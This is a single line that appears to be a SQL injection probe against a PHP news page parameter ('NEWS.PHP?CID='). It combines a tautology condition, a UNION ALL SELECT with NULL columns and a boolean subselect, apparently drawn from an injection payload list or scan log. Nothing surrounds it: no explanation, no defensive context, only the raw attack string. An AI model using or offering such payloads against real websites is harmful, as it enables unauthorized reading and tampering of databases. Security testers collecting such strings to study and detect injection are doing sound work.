NEWS.PHP?CID='%'AND'8'='8 UNION ALL SELECT NULL,NULL,NULL ' AND 1=(SELECT 1)